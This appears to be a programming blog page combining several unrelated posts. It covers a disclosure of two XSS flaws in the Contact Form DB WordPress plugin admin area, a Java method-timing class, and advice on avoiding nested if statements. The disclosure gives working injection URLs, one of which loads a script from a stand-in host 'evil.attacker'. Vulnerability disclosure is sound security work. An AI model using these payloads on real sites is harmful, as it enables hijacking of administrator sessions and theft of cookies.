A list of resources about NoSQL injection in general and PHP and MongoDB security specifically.
There are two XSS vulnerabilities in the Contact Form DB WordPress Plugin admin area. If an attacker can get an administrator to click on a specific link, this can lead to the execution of arbitrary JavaScript, which in turn can for example lead to the stealing of cookies.
As single quotes are automatically escaped in WordPress, they cannot be used in the attack. It is still possible to inject a simple alert:
via submit_time:
http://localhost/wordpress/wp-admin/admin.php?page=CF7DBPluginSubmissions&form_name=Contact+form+1&submit_time=1416134948.8682" type="hidden"><script>alert(String.fromCharCode(88,83,83))</script><input name="1416134948.8682
via form_name:
http://localhost/wordpress/wp-admin/admin.php?page=CF7DBPluginSubmissions&form_name=Contact+form+1"><script>alert(String.fromCharCode(88,83,83));</script>
To get around the limitation of not using single quotes, an attacker can load a remotely hosted script:
http://localhost/wordpress/wp-admin/admin.php?page=CF7DBPluginSubmissions&form_name=Contact+form+1&submit_time=1416134948.8682" type="hidden"><script src=http://evil.attacker/myscript.js></script>
Often times, you will have two Java functions, and you will want to know which one performs better. You can use this Java class to time multiple methods to find out which one is faster.
Let’s say you have these two functions and want to know which one is faster:
public static String function1(String i) {
return i + i;
}
public static String function2(String i) {
StringBuilder sb = new StringBuilder();
sb.append(i);
sb.append(i);
return sb.toString();
}
Here is how you would use my timing class:
public static void simpleTimingTest() throws Exception {
Timing t = new Timing();
/*
The timing function will run the tests in chunks.
For each chunk, the same input will be used.
Input will be gathered via the passed IntFunction. The timing method will
pass the current index (going from 0 to amountRunsPerChunk) to it and will expect
any return of the defined type.
*/
IntFunction<String> inputProvider = i -> String.valueOf(i);
/*
The add method expects two functions: the above mentioned input provider,
as well as a function which accepts the output from the input provider as input
and applies it to the function which will be timed.
*/
t.add((String s) -> function1(s), inputProvider, "function1 ");
t.add((String s) -> function2(s), inputProvider, "function2 ");
t.time(true); // true: force test (otherwise, time might throw an exception
// if it suspects that there isn't enough memory)
t.output(s -> System.out.println(s), Timing.Sort.ASC);
}
You can also do more complex things with it:
public static void predefinedInputTimingTest() throws Exception {
Timing t = new Timing();
/*
The input doesn't have to be generated using the passed index, you could
also use predefined input to time your functions:
*/
String[] input = new String[]{"input1", "another input", "more input"};
IntFunction<String> inputProvider = i -> input[i % input.length];
t.add((String s) -> function1(s), inputProvider, "function1 ");
t.add((String s) -> function2(s), inputProvider, "function2 ");
/*
You can decide what should be reported when timing finished:
*/
t.setReport(EnumSet.of(Timing.Report.NAME, Timing.Report.MEAN));
t.setAmountChunks(1_500);
t.setAmountRunsPerChunk(2_500);
t.time(true, s -> System.out.println(s)); // pass String -> String function to report debug information
t.output(s -> System.out.println(s), Timing.Sort.ASC);
}
Deeply nested if statements are a pain to read and maintain, so you should try to avoid them as much as possible. Here are a couple of suggestions on how reduce deeply nested if statements to a more manageable size.
Most of these suggestions can be applied to most languages that have the if statement, at least most object oriented or procedural languages. But my main focus when writing this were Java and PHP.
Early returns should be used a lot more often by pretty much everybody. It’s one of the easiest ways to avoid or reduce deeply nested if statements and one of the first things I would look for when refactoring code.
The main idea is that when checking a value, the negative case is moved up-front, the error handled, and then the method is exited:
boolean test1 = ...;
if (test1) {
boolean test2 = ...;
if(test2) {
boolean test3 = ...;
if(test3) {
// do the stuff
} else {
// some error, handle it
}
} else {
// something else
}
} else {
// some other error, handle it
}
return;
Here, you can move the checks to the top of the method and remove three levels of nested if statements:
boolean test1 = ...;
if(!test1) {
// some other error, handle it
return;
}
boolean test2 = ...;
if(!test2) {
// something else
return;
}
boolean test3 = ...;
if(!test3) {
// some error, handle it
return;
}
// do the stuff
return;